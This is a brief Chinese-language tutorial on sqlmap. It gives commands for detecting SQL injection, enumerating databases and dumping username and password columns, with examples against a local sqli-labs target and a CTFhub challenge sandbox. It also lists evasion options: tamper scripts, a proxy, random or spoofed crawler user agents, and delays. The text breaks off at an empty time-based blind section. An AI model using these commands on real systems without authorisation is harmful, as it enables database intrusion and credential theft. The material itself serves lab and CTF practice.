sqlmap使用方法
1.基本使用方法;
sqlmap.py -u url -D 库名 –tables -T 表名 –columns -C 字段名 –dump
-level 1,2,3(2才可以扫描出Cookie注入)
sqlmap.py -u url –batch(判断是否存在注入)
sqlmap.py -u url –dbs –batch(获取全部数据库)
sqlmap.py -u url –current-db –batch(获取当前数据库)
–start 1 –stop 100
–dump-all(–dump)
sqlmap.py -u http://localhost/sql/Less-6?id=1 –batch
sqlmap.py -u http://localhost/sql/Less-6?id=1 –current-db –batch
sqlmap.py -u http://localhost/sql/Less-6?id=1 -D security –tables –batch
sqlmap.py -u http://localhost/sql/Less-6?id=1 -D security -T users –columns –batch
sqlmap.py -u http://localhost/sql/Less-6?id=1 -D security -T users -C “password,username” –dump-all –batch
2.SQLMap的Tamper脚本;
sqlmap.py -u url –tamper a.py,b.py
–proxy=http://127.0.0.1:8888
–batch
–random-agent 使用random-agent作为HTTP User-Agent头值
–user-agent=”Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) “
–delay 1
-r 3.txt(数据包自定义)/中转注入
-v 数字 :输出信息的繁简
3.CTFhub实战
(1)布尔盲注:sqlmap.py -u http://challenge-2252e8b1f213fe95.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag -C flag –dump –batch
(2)时间盲注: